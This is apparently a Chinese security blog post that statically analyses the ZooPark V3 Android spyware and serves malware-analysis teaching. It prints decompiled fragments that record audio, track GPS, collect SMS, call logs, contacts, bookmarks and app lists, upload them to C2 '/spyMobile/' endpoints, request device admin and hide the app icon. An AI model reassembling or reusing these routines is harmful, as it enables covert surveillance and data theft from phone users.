ZooPark:V3版移動樣本分析
*本文作者:xiongchaochao,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
前言
ZooPark是一個針對中東的APT組織,截至2017年,已經發展到了4.0版本,本次分析是第三個版本,相比較V1、V2版本的程式碼的複雜性,2016年流出的V3版本的樣本可以說有關於資訊竊取這方面的功能比之前有了質的飛躍,如果說之前兩個版本讓人感覺新手練手的作品,那麼這個版本已經可以說是有開發經驗的老司機來寫的了。我們入門先做靜態的程式碼分析,理順分析流程。
工具:JEB1.5、AndroidKiller1.3
樣本執行流程圖
V3
分析之前,我們需要理清思路,逐步分析,慢慢行成一套屬於自己的分析流程。
1、 是否加固過,混淆過未加固、未混淆。
2、看安裝包目錄結構,看是否有特別的檔案,記錄下來方便後面的分析。
證書資訊,看樣本大概流出的時間:
資產目錄assets中全是這些看起來很火辣的小姐姐,很明顯可能用於誘惑使用者檢視點選之類的:
佈局資料夾res的有幾十個values檔案(values-nb等),檔案裡面有不同國家的字型,和之前兩個版本,可以看出,開發人員有了質的飛躍:
3、 看清單檔案,靜態註冊了哪些廣播接收器。
在清單檔案AndroidManifest.xml中有這樣靜態註冊的廣播,因為它沒有設定intent-filter,所以不會捕獲任何廣播,只能主動通過構造顯式intent+傳送廣播sendBroadcast才可以喚醒這個廣播:
<receiver android:name="com.wallpaper.OnGPSReceiver" /> <receiver android:name="com.wallpaper.OnAlarmReceiver" />
使用Android Killer工具的全域性字串搜尋,只發現OnAlarmReceiver這個廣播接收器在OnBootReceiver開機廣播中被啟用,結合起來實現的功能是開機後,設定一個重複的警報,來啟動這個廣播,用來喚醒AppService服務(服務比較複雜,在分析完清單檔案後,分析):
從廣播接收器的名稱就可以看出他是一個檢測網路變化然後執行某些行為的廣播。從程式碼中可以看出他的主要行為就是如果可以聯網,就會開啟AppService服務(這是第二個為了開啟這個服務的廣播了,可以看出極有可能這個服務就是惡意行為的主要發起者)。這裡勾選上write方法是建議留個印象,如果分析多個樣本,那麼其實可以從程式碼編寫習慣中,看出一些端倪:
<receiver android:label="NetworkConnection" android:name="com.wallpaper.NetworkChangeReceiver"> <intent-filter android:enabled="true" android:exported="false"> <action android:name="android.net.conn.CONNECTIVITY_CHANGE" /> </intent-filter> </receiver>
這是將這個樣本APP啟用成裝置管理器,在meta-data中知道device_admin_sample.xml檔案存放了,啟用裝置管理器請求開啟的策略,並且一旦策略被觸發就會呼叫這個廣播接收器中重寫的方法,如圖7.png,都會列印一條日誌:
<intent-filter> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> <action android:name="android.app.action.DEVICE_ADMIN_DISABLED" /> </intent-filter> <meta-data android:name="android.app.device_admin" android:resource="@xml/device_admin_sample" /> </receiver>
收到簡訊時,會將簡訊內容、號碼、時間等存入data資料庫中的tbl_SMS表中:
<receiver android:enabled="true" android:name="com.wallpaper.SMSReceivers"> <intent-filter> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver>
開機啟動廣播,首先會嘗試開啟ScreenStateService服務,然後建立一個重複的警報,每隔4分鐘來啟動這個OnAlarmReceiver,即開啟AppService服務。
<receiver android:enabled="true" android:name="com.wallpaper.OnBootReceiver" android:permission="android.permission.RECEIVE_BOOT_COMPLETED"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> </receiver>
綜上,這些靜態註冊的廣播,主要是通過監聽網路變化、開機自啟動來開啟AppService、ScreenStateService服務,下面主要分析這兩個服務。然後還有一些竊取使用者收到的簡訊內容,寫入資料庫、啟用裝置管理器
4、分析兩大服務的功能:AppService、ScreenStateService
ScreenStateService
動態註冊ScreenReceiver廣播接收器來監聽螢幕的解鎖和鎖屏:
ScreenStateService.mReceiver = new ScreenReceiver(); this.getApplicationContext().registerReceiver(ScreenStateService.mReceiver, new IntentFilter( "android.intent.action.SCREEN_ON")); this.getApplicationContext().registerReceiver(ScreenStateService.mReceiver, new IntentFilter( "android.intent.action.SCREEN_OFF"));
(1) 鎖屏時,開啟AppService服務(不知道第幾次啟動它,證明這個服務才是真正的惡意功能執行者)。執行Start_check_mic方法,開啟執行緒來錄音8分鐘儲存到外部儲存/android/data/AndroidService/時間.3gpp,然後將~/android/data/AndroidService/目錄下多有錄音檔案POST上傳到C2地址的/spyMobile/recordcall_upload.php檔案上:
在構造C2地址時,如果第一次訪問這個地址MainActivity.Server_Domain,因為還沒有被賦值,所以會異常,呼叫MainActivity.findServer()方法來,獲取C2地址(通過訪問網路圖片獲取返回的流資料,然後正則匹配出C2地址):
(2) 螢幕解鎖時,列印Intent Action: android.intent.action.SCREEN_ON。
AppService
一般來說,瀏覽服務做了哪些事,從onCreate或者onStartCommand(onCreate沒有重寫的情況),但是這個服務沒有這兩個方法,再仔細看看,發現這個服務類,繼承一個自定義類,而這個自定義類繼承IntentService類,看到這個類我們就需要從onHandleIntent方法入手了(解決開發這忘記開啟執行緒和忘記呼叫 stopSelf()),發現主要執行了doWakefulWork抽象方法,所以再回到AppService類中,檢查他的重寫方法即可:
public class AppService extends WakefulIntentService
public abstract class WakefulIntentService extends IntentService ...... abstract void doWakefulWork(Intent arg1); ...... this.doWakefulWork(intent); WakefulIntentService.getLock(((Context)this)).release();//鎖屏(沒有喚醒鎖的前提)
(1) 檢查是否開啟ScreenStateService服務來偷偷錄音,如果沒有就開啟這個服務:
(2) GPS_GET_Location_Period: 獲取裝置位置資訊強制開啟GPS:
每秒檢測一次,一旦距離改變超過15米,記錄下經緯度和對應的位置:
然後經緯度、時間資料寫入這個tbl_GPS表中:
try { label_38: DatabaseHandlers v2 = new DatabaseHandlers(((Context)this)); v2.Insert_table("tbl_GPS", new String[]{"Lat", "Long", "Time"}, new String[]{Double .toString(this.latitude), Double.toString(this.longitude), new SimpleDateFormat( "yyy-MM-dd HH:mm:ss").format(new Date())}); v2.close();
(3) Start_All_Services()
LoginUser
構造帶有裝置ID的url訪問C2地址,如果沒有C2地址,跟前面一樣,使用findServer來獲取(根據卡巴斯基的報告C2應該是5.61.27.157):
GPSData
使用構造帶有位置資料的C2地址,進行訪問:
//獲取"tbl_GPS"表的所有資料 v6 = v9.getAllData("tbl_GPS", v8); ...... try { Object v18 = v6.get(v16); Object v20 = v6.get(v16 + 1); Object v23 = v6.get(v16 + 2); this.ConvertPointToLocation(Double.parseDouble(((String)v18)), Double.parseDouble(((String) v20))); String v25 = MainActivity.Server_Domain + "/spyMobile/api_gpslocation.php?imei=" + devid + "¤tLoaction=" + this.strAddress + "⪫_long=" + v20 + "," + v18 + "&timing=" + v23.replace(" ", "%20"); Log.d("url", v25); v13.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); v14 = new HttpPost(v25); }
readOutgoingSMS
獲取uri:content: //sms/sent內容,傳送的簡訊內容,寫入Insert_table表中:
try { System.out.println("Inside of SMS Reading......."); v3 = Uri.parse("content://sms/sent"); v4 = new String[]{"_id", "address", "body", "date"}; } ...... v16 = new DatabaseHandlers(this); v11 = new String[]{"Type", "Number", "Text", "Time"}; v12 = 0; ....... try { String[] v14 = new String[v2]; v14[0] = "Outgoing"; v14[1] = v8; v14[2] = v9; v14[3] = v21; v16.Insert_table("tbl_SMS", v11, v14); goto label_97; }
SendSMS
上傳發送的簡訊內容:
try { String v20 = MainActivity.Server_Domain + "/spyMobile/api_smstracking.php?imei=" + devid + "&smsType=" + v2.get(v14) + "&smsNumber=" + v2.get(v14 + 1) + "&smsText=" + v2 .get(v14 + 2) + "&smsTiming=" + v2.get(v14 + 3); Log.d("Send SMS url", v20); v20 = v20.replace(" ", "%20"); v11.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); v12 = new HttpPost(v20); }
sendCallDetails
傳送通話記錄資料:
但是這裡有一個問題就是,獲取通話記錄的地方也就是下面這個類沒有被呼叫,那我們接著尋找一下fetchNewCallLogs方法的呼叫鏈,onCallStateChanged方法->fetchNewCallLogs,還是未能找到開啟這個類的地方,先往下看:
public class CustomPhoneStateListener extends PhoneStateListener { ......... public static void fetchNewCallLogs(Context context) { ........ label_71: Long v31 = Long.valueOf(Long.parseLong(v24)); Calendar v19 = Calendar.getInstance(); v19.setTimeInMillis(v31.longValue()); String v20 = v19.getTime().toString(); System.out.println("tbl_CALL TIMING : " + v20); v25.Insert_table("tbl_CALL", v22, new String[]{v30, v21, v26, v20}); v18.moveToNext();
ScreenReceiver.upload_all_file_and_delete()
上傳ScreenStateService服務錄的音訊檔案:
SendPhoneBook
獲取聯絡人電話、姓名、ID併發送:
try { String v10 = MainActivity.Server_Domain + "/spyMobile/api_phonebookaccess.php?imei=" + devid + "&phonebookListname=" + this.PhoneBookName.get(v5) + "&mobileNumber=" + this. PhoneBookNo.get(v5) + "&numberType=" + this.PhoneBookType.get(v5); Log.d(" phonebook url", v10); v10 = v10.replace(" ", ""); v2.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); v3 = new HttpPost(v10); }
SendBrowserDetails_GetLastTime
第一次執行到Start_All_Services()方法時,count_step_to_send_BrowserHistory 變數還是初值1,不能執行SendBrowserDetails_GetLastTime惡意方法,第一次主要是賦值AppService.check_start_upload_info == true,標識開始上傳資料:
public AppService() { ........ this.count_step_to_send_BrowserHistory = 1; ....... if(this.count_step_to_send_BrowserHistory != 0) { goto label_108; } ...... // first: count_step_to_send_BrowserHistory == 2;second:count_step_to_send_BrowserHistory == 3(V14) ++this.count_step_to_send_BrowserHistory; if(this.count_step_to_send_BrowserHistory != v14) { goto label_115; } this.count_step_to_send_BrowserHistory = 0;
第二次執行到這時,看上邊程式碼的註釋,會給count_step_to_send_BrowserHistory 賦值為0,也就是第三次執行到這裡就可以執行SendBrowserDetails_GetLastTime方法了,執行了普通的HTTP請求,來獲取訪問的時間資訊:
try { String v9 = MainActivity.Server_Domain + "/spyMobile/api_urltracking.php?imei=" + devid + "&urlName=" + "getlasttime" + "&urlLink=a&timing=a".replace(" ", "%20"); Log.d("Browser url ", v9); v2.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); v4 = new HttpPost(v9); }
獲取瀏覽器書籤:
SendBrowserDetails
傳送系統自帶瀏覽器書籤資訊到C2:
try { String v10 = MainActivity.Server_Domain + "/spyMobile/api_urltracking.php?imei=" + devid + "&urlName=" + this.UrlName.get(v5) + "&urlLink=" + this.UrlLink.get(v5) + "&timing=" + this.UrlTime.get(v5).replace(" ", "%20"); Log.d("Browser url ", v10); v2.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); v3 = new HttpPost(v10); }
readAppInfo
第三次執行到這會被賦0值,然後第四次執行this.readAppInfo(),
try { if(this.count_step_to_send_AppInfo == 0) { this.readAppInfo(); this.SendAppInfo(AppService.deviceIMEI); } ++this.count_step_to_send_AppInfo;// this.count_step_to_send_AppInfo初始化之後為2,現在==3 if(this.count_step_to_send_AppInfo != 5) { goto label_130; } this.count_step_to_send_AppInfo = 0; }
獲取已經安裝的應用的名稱包名:
v5 = this.getPackageManager(); List v1 = v5.getInstalledApplications(0);
SendAppInfo
構造含有應用資訊的url,傳送給C2:
try { v2.printStackTrace(); label_18: String v13 = MainActivity.Server_Domain + "/spyMobile/api_appinfo.php?imei=" + devid + "&appinfo=" + this.AppInfo.get(v7) + "&isappexist=" + this.AppIsExist .get(v7); Log.d("Send appinfo url", v13); v13 = v13.replace(" ", "%20"); v4.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); v5 = new HttpPost(v13); }
getSentImages、sendImageData
首先同上,它這裡有個明顯的失誤,因為初始值為1,之後會不斷增加,即使重新啟動這個類,也會再++this.count_step_to_send_Image;這裡自增,永遠不會為1,也就是永遠不會被賦值為0,執行不到getSentImages和sendImageData(這裡經過全域性查詢字串,並沒有其他地方會賦值),也就是說它這個上傳外部儲存下的/DCIM/目錄,關於裝置拍的照片、截圖還有隱藏資料夾”/DCIM/.thumbnails”內的圖片縮圖,寫入資料庫的”tbl_PHOTO”表後的上傳操作,都不能進行了。
if(this.count_step_to_send_Image == 0) { this.getSentImages(); this.sendImageData(AppService.deviceIMEI); } ++this.count_step_to_send_Image;// count_step_to_send_Image初始值==1,第一次執行到這,==2 if(this.count_step_to_send_Image != 1) { goto label_145; } this.count_step_to_send_Image = 0;
至此關於AndroidManifest.xml中會進行的操作分析完畢了,主要的惡意功能服務AppService也分析完了,過程中發現,樣本作者開發過程中,出現了失誤導致上傳圖片功能無法進行,好像是借鑑另一個樣本家族的原始碼寫的,但是沒有做個精確測試,導致的問題吧(如果錯誤,請指教!!!),還有就是留下一個沒有獲取通話記錄的地方,接下來,分析主要的啟動過程中,會感謝什麼,也是比較輕鬆一些得了,因為主要惡意功能已經分析完畢
5、清單檔案中找入口類
com.wallpaper.MainActivity
<activity android:alwaysRetainTaskState="true" android:label="@string/title_activity_main" android:name="com.wallpaper.MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" />//標誌 <category android:name="android.intent.category.LAUNCHER" />//標誌 </intent-filter> </activity>
MainActivity()
在建構函式裡聲明瞭一個延遲開啟AppService服務的死迴圈操作(看onCreate之前先看看建構函式中是否有一些惡意行為,或者可以直接執行的操作):
this.updateTimerThread = new Runnable() { public void run() { try { Intent v0 = new Intent(MainActivity.this.context, AppService.class); v0.addFlags(0x14000000); MainActivity.this.context.startService(v0); // 延遲4分鐘,繼續執行這個操作(死迴圈) MainActivity.Handler_schedul.postDelayed(MainActivity.this.updateTimerThread, 240000); } catch(Exception v1) { }
onCreate()
m1
(1) 延遲1分鐘開始死迴圈,不斷開啟AppService服務
MainActivity.Handler_schedul.postDelayed(this.updateTimerThread, 60000);
(2) this.readSMS(); //獲取簡訊資料,寫入tbl_SMS表裡
Uri v3 = Uri.parse("content://sms/"); String[] v4 = new String[]{"_id", "address", "body", "date", "type"}; ....... v21 = "Incoming"; switch(Integer.parseInt(v12.getString(v12.getColumnIndex("type")))) { case 1: { try { v21 = "Incoming";//收到的簡訊 goto label_69; label_109: v21 = "Outgoing";//傳送的簡訊 goto label_69; label_111: v21 = "Draft";//草稿 goto label_69; } ...... v15.Insert_table("tbl_SMS", v11, v13);
(3) 獲取通話記錄資料放入tbl_CALL表中,補充了分析AppService中遺留的問題
this.getCallDetails();
v27 = this.getContentResolver().query(CallLog$Calls.CONTENT_URI, null, null, null, null); v28 = v27.getColumnIndex("number"); v34 = v27.getColumnIndex("type"); v20 = v27.getColumnIndex("date"); v24 = v27.getColumnIndex("duration"); v30.append("Call Details :"); ........ v21.Insert_table("tbl_CALL", v18, v19);
(4) 使用registerReceiver動態註冊螢幕開關廣播接收器ScreenReceiver(上面分析過了,這裡不贅述)
try { IntentFilter v5 = new IntentFilter("android.intent.action.CLOSE_SYSTEM_DIALOGS"); v5.setPriority(65535); v5.addAction("android.intent.action.SCREEN_OFF"); v5.addAction("android.intent.action.SCREEN_ON"); this.mReceiver = new ScreenReceiver(); this.registerReceiver(this.mReceiver, v5); }
(5) 申請啟用裝置管理器
//裝置策略管理服務 this.getSystemService("device_policy"); //監聽策略被觸發,呼叫重寫的方法 ComponentName v1 = new ComponentName(((Context)this), AdminReceiver.class); //新增裝置管理員意圖(main) Intent v4 = new Intent("android.app.action.ADD_DEVICE_ADMIN"); v4.putExtra("android.app.extra.DEVICE_ADMIN", ((Parcelable)v1)); //額外的解釋,隨便寫的內容 v4.putExtra("android.app.extra.ADD_EXPLANATION", "Your boss told you to do this");
隱藏圖示:
this.getPackageManager().setComponentEnabledSetting(new ComponentName(appPackage, appPackage + ".MainActivity"), 2, 1);
分析到這裡基本完整的分析完了第三版本的樣本。
總結
作為一個剛入行的新人,在分析病毒木馬上,可以比較細緻的去分析,分析過程中一定要作筆記記錄分析過程,方便之後總結回顧,碰見不會的API,推薦先查官網的介紹,一點點看,很鍛鍊英文水準,且結合網上的一些總結來熟悉,然後嘗試脫殼、反混淆、動態除錯,慢慢熟悉整個分析過程,分析過程中也可以多接觸一些溯源的工作,最終要做到出現新的病毒樣本,可以實現快速的分析、溯源(流量分析也是溯源取證的方法),後面甚至可以看看android原始碼,更深入的瞭解底層知識,進階一些漏洞挖掘的工作(個人初步想法)。
第一行程式碼熟悉android開發,基本沒有加殼的樣本沒問題了
ARM彙編基礎:為動態除錯做準備…..
*本文作者:xiongchaochao,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。